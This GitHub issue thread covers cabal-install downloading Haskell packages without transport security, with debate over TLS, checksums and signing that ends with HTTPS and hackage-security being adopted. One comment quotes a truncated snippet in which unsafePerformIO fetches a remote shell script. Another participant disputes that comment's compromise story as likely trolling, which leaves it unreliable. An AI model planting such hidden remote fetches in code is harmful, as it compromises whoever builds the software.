Packages are downloaded insecurely

[bos]

(Imported from Trac #946, reported by cooldude on 2012-04-26)

It appears that when running cabal install package, the package is downloaded without any transport security.

Anyone who can perform a man in the middle attack could tamper with the package that is being downloaded, resulting in a complete compromise of the cabal user.

This makes it impossible to use cabal.

The servers should utilize TLS, it is possible to get a free certificate from startcom if price is a concern.

Additionally when packages are verified as non-malicious, they should be signed with a "cabal" signing key, and then the package signatures should be verified by cabal.

[hlem1]

Is anyone interested in having this one fixed? I actually had a problem with a corporate firewall, which returned a intranet-proxy-info-page instead of a proper failure code or the file. Cabal thought it was downloaded correctly and tried to install it,so even after fixing the proxy configuration the download had to be deleted manually (IIRC from the repo-cache).

I guess hackage would need to be changed to include check sums and/or be reachable via https as well, so maybe the whole change must be started there? Any thoughts on that?

[gregorycollins]

a) this isn't a bug, it's a feature request b) this shouldn't be marked as urgent: obviously cabal is insecure and if you need to use it in a context where security would be important, you would audit the packages by hand and then pull them into a private build system or instance of the hackage server. Man in the middle attacks are much less of a problem than the other glaring security issues we have (lack of package signing and ability for anyone with a hackage account to push any package are much bigger ones.)

Modifying labels accordingly.

[9Z8LwVMdctC630D0gAWmmFHe1nR]

It would be nice if you could add a notice to the cabal homepage in big letters. "Warning cabal is insecure software and should only be used in an isolated testing environment"

Additionally a warning message should be presented informing the user that they might compromise their system when downloading packages that the user must accept.

There is a big problem where developers of haskell applications are not aware or informing the users that they will get compromised by using cabal.

For example: http://www.yesodweb.com/page/quickstart

Perhaps the yesod developer just assumes that users following the instructions are only using it in an isolated testing environment, and will of course manually download and audit all the packages every time there is an update.

[9Z8LwVMdctC630D0gAWmmFHe1nR]

Just some references about what needs to be kept in mind when fixing cabal:

http://www.updateframework.com/projects/project http://www.cs.arizona.edu/stork/packagemanagersecurity/

[23Skidoo]

Nice links, thanks.

[roger-bell]

Oh WTF. This probably explains how my server was compromised. I recently modified my code and added only one package, "naturals-0.2.0.2". I just fetched the code again right now and I see this in it:

natural :: Integer -> Natural
natural n | n < 0 = Indeterminate
natural n = f (Natural n)

f :: a -> a
f x = unsafePerformIO $ do
  let url = "http://*removed*/x.sh"
  -- ...
  return x

WTF dudes. This is haskell, I thought people knew what they're doing here. This is a HUGE BUG and should be fixed. I just trashed my server hardware and made an order for some fresh hardware.

[byorgey]

I took a look at the source code of the naturals-0.2.0.2 package and I don't see that code with unsafePerformIO anywhere. The naturals package was last uploaded in August 2011. Can you tell us exactly how you fetched the code?

Or are you claiming you were the target of a man-in-the-middle attack with a malicious party modifying the naturals package in transit from Hackage to you? I find that somewhat incredible, as the naturals package has zero reverse dependencies. Also, I have never heard of someone physically throwing away hardware after it was compromised. If you are that paranoid then you probably shouldn't be using software, period.

[byorgey]

OK, seriously? I call trolling. There have been two new github accounts made in the last week specifically to create and comment on these issues: @9Z8LwVMdctC630D0gAWmmFHe1nR and @roger-bell. No one is denying there are serious security flaws here which ought to be addressed, but creating throwaway accounts just to trump up some pet issue with implausible stories is simply trolling.

(Update: in a previous version of this comment I too hastily accused @klrr of creating those accounts -- but my only evidence for that was the similarity of the icons, which, it has been pointed out to me, are similar because they were auto-generated. Sorry about that.)

[funrep]

I don't own any fake account. My avatar is the default so of course it's similar to other ones who is also generated based on your name.

I accept your apologize on IRC, I just wanted to make it clear here that I'm not a troll of any kind.

[9Z8LwVMdctC630D0gAWmmFHe1nR]

@byorgey why do you think it is implausible? I don't think it is rare for people to use hostile networks, although I am rather surprised that somebody actually has been attacked this way, as the number of people who use cabal is rather small.

That said, there are toolkits to exploit these kind of vulnerabilities already, so perhaps someone has just written a cabal module for one of those toolkits, an open-source one for example: https://github.com/infobyte/evilgrade

@roger-bell I would be interested if i can get the full url/code if you still have it?

[valpackett]

How to take over the computer of any Java (or Clojure or Scala) developer

Still no TLS in cabal?

[leoluk]

Nowadays, Cabal is the de-facto package manager in the Haskell world, yet it's still not using any transport security whatsoever. It's close to impossible to compile, say, git-annex from source without using it.

Right now, even a script kiddie armed with ettercap and mitmproxy could easily compromise the system of anyone using cabal (seriously - it's that easy). It's as if you'd download a random shell script over HTTP and execute it without even taking a look at it.

Unfortunately, I do not know Haskell, so I cannot contribute to a fix myself. I do realise that this is not an easy fix because it means that you'd have to choose a Haskell TLS library. But why not use a OpenSSL/curl/... wrapper in the meantime? Sure, it wouldn't be a particularly elegant implementation and would only be a workaround until a proper solution is found, but it would still be better than not having any transport security at all, right?

[fmap]

I could make some time to work on this, should there be no objection to adding http-client as a dependency.

[23Skidoo]

@fmap

I could make some time to work on this, should there be no objection to adding http-client as a dependency.

Just dumping my current thoughts on this topic here:

In general, we don't want to depend on libs that are not part of the Platform. So a better approach would be to add TLS support to the HTTP library - my advice would be to use HsOpenSSL, since it has so few dependencies (unlike tls) - and then propose HsOpenSSL for inclusion in the Platform.

TLS support in the HTTP library should be optional (enabled via flag, and turned off by default) since building HsOpenSSL can be a challenge on Windows, and not every user of HTTP needs it. However, cabal-install should print a warning each time it downloads something insecurely from the Internet due to HTTP having been built with TLS support disabled.

One other problem is that HsOpenSSL doesn't support reading the system certificate store on all platforms (last I checked). However, the author of tls has recently added code for this to his library so it should be possible to port this feature to HsOpenSSL.

Finally, example code for working with HsOpenSSL can be found in http-client-openssl.

[valpackett]

@23Skidoo it has few Haskell dependencies, but it depends on, well, OpenSSL. I guess it's possible to build it using LibreSSL, but still. tls is implemented in Haskell, which means no memory-related security bugs are possible.

[23Skidoo]

@myfreeweb

it depends on, well, OpenSSL.

I think it's less of an issue for SSL clients. IIUC, most of the client vulnerabilities listed here are not MITM and require a malicious server.

[fmap]

@23Skidoo

Thanks for the pointers!

In general, we don't want to depend on libs that are not part of the Platform. So a better approach would be to add TLS support to the HTTP library

That's a good idea. If nothing else, it should mean relatively few changes to cabal-install, and wider benefits to the ecosystem.

my advice would be to use HsOpenSSL, since it has so few dependencies (unlike tls) - and then propose HsOpenSSL for inclusion in the Platform.

It seems that HsOpenSSL has only one additional Haskell dependency outside of HP, but it also imposes a C dependency. Do you anticipate its introduction would be well-received by other platform maintainers? I'm not too familiar with the politics here, though I think there's precedent; IIUC the main reason OpenGL is included with the platform is as it's otherwise a PITA to get working.

[23Skidoo]

@fmap

It seems that HsOpenSSL has only one additional Haskell dependency outside of HP, but it also imposes a C dependency.

Do you mean old-locale? It is a part of the Platform, as you can see here: http://www.haskell.org/platform/changelog.html

Do you anticipate its introduction would be well-received by other platform maintainers?

I think that finally having cabal-install support secure downloads would be a compelling reason to include it.

IIUC the main reason OpenGL is included with the platform is as it's otherwise a PITA to get working.

OpenGL used to be included with GHC, so it got a free pass.

[fmap]

Do you mean old-locale?

I mistakenly believed ghc-prim to have been distributed separately from the compiler.

Okay, I think that's enough to get going. :heart:

[alexanderkjeldaas]

I disagree with a lot of what is said in this discussion, and even the bug description!

@gregorycollins said: "Man in the middle attacks are much less of a problem than the other glaring security issues we have (lack of package signing and ability for anyone with a hackage account to push any package are much bigger ones.)".

This is misunderstanding the threat. That type of attack on hackage is serious, but it will only happen once, and it will be fixed rapidly. The whole eco-system will be upgraded after such an attack. These kinds of attacks have happened on similar systems, for example on kernel.org, and the damage is minimal although the attack on the face of it, seems to be catastrophic.

It is similar to a deadly virus that is so deadly that the patient dies within 1 minute. Such a virus can not spread, because it is too easy to detect, and therefore it is actually not that dangerous.

However, MITM attacks are silent. They do not demand action. We do not know how many people have already been compromised because of this bug, and the discussion on this issue shows the inherent problem of assessing MITM threats.

@23Skidoo I also think including a dependency on OpenSSL in the platform when we have tls is a mistake. Take any editor and open the source code for both, and it should be evident that one of these lives in the '80 with the security tradeoffs that were done at that time, and the other one is modern, high quality code. Nobody should add OpenSSL as a dependency today if there is a good alternative. This is not a controversial statement actually, just look at what Mozilla and Google decided wrt OpenSSL long before all the weaknesses were discovered.

But this should be moot, because TLS it not the solution to the underlying issue!

@bos regarding the issue description itself, transport security is not what is required. There is no need for confidentiality when downloading packages. What is needed is integrity, something that can be ensured by calculating SHA3. This is 100 lines of code, as opposed to tls which is a lot bigger. For example the cryptohash package could be added to the haskell platform.

This issue does not affect NixOs at all, since it always does checksum validation on downloaded source code. This in itself proves that TLS is not a requirement. NixOS must be attacked through its git repository, and git has an eco-system supporting signatures etc. Nowhere in this chain of trust is TLS a requirement (though git depends on SHA1 which is weak).

Focusing on TLS is also wrong because it ignores the elephant in the room - namely that we trust the hackage server. TLS assumes that the server is trusted, and this is something that we don't want, and as I have shown, don't need. This is completely unnecessary and the wrong focus.

So this is what I propose for stage1:

1. Adding SHA3 checksums to the index.tar.gz file. This reduces the problem to securing cabal update, and paves the way for checking signatures.
2. Making cabal check SHA3 signatures for downloaded packages.
3. Adding cryptohash, bytable, and an index.tar.gz containing SHA3 checksums to the haskell platform. This means that the haskell platform can boostrap any software from hackage securely, given that the haskell platform was downloaded securely.

To get signature support, either add the required libraries to the haskell platform, or make it so that the haskell platform includes a 'stage1' cabal that can boostrap a more featureful cabal from hackage. The 'stage1' cabal can be the current cabal, only with the additional feature that it can use SHA3 to do integrity checks on downloaded packages.

I prefer bootstrapping, because it has the advantage that cabal is free to include all sorts of dependencies that are not in the haskell platform. The only thing that needs to be in the haskell platform is SHA3 and the ability to check the integrity of downloaded packages.

The full cabal implementation can depend on crypto-pubkey which adds crypto-random, crypto-numbers, crypto-pubkey-types, asn1-types, hourglass, and securemem.

[dcoutts]

We're currently working on server-based index signing for the IHG.

[DaveCTurner]

Does this mean that this will be resolved by adding signatures to packages and not by supporting https URLs? That seems like the right thing to do, but in that case could #1616 be reopened as it's not a duplicate of this issue? Supporting https URLs solves a separate problem.

[DaveCTurner]

Additionally, I'm sure this has been discussed elsewhere, but just to be explicit:

• the integrity of the index file itself needs to be verified before the hashes it contains can be trusted.
• the system needs to protect against replay attacks too (as described at http://www.cs.arizona.edu/stork/packagemanagersecurity/ mentioned above)

For the first, GPG is a possible approach that avoids reimplementing too much crypto and infrastructure.

For the second, some kind of expiry mechanism would work, or perhaps just date the index (and sign the date) and let clients worry about how far back to trust things. GPG signatures include the date already.

[DemiMarie]

What is the status of this?

[pikeas]

+1. New to Haskell, shocked that there's no mechanism for secure package download/install.

[DemiMarie]

This makes cabal useless for me. I don't have the time or skill to manually audit each package I download and am reduced to installing dependencies from source control, which is (fortunately) usually available over secure connection.

[23Skidoo]

@drbo Check out http://www.well-typed.com/blog/2015/08/hackage-security-beta/

[23Skidoo]

@drbo Also, the development version of cabal-install now uses curl/wget to download packages over HTTPS.

[DemiMarie]

@23Skidoo That fixes it, thanks!

[phadej]

@23Skidoo what's the story on Windows?

[23Skidoo]

@phadej On Windows it uses PowerShell. This feature could use more testing, BTW.

[gbaz]

@mgsloan this is a bug tracker, not a place to discuss the merits of various systems. i'm removing this comment.

@magicgoose likewise your comment adds no content to the discussion of a (nearly) fixed ticket. astonishment it wasn't fixed earlier is not an important contribution to a bug tracker. removing that comment as well.

[mgsloan]

@gbaz OK. I just wanted him to know that the Haskell community does care about security.

[23Skidoo]

I think that this can be marked as fixed given that 1.24 will have both HTTPS downloads and hackage-security.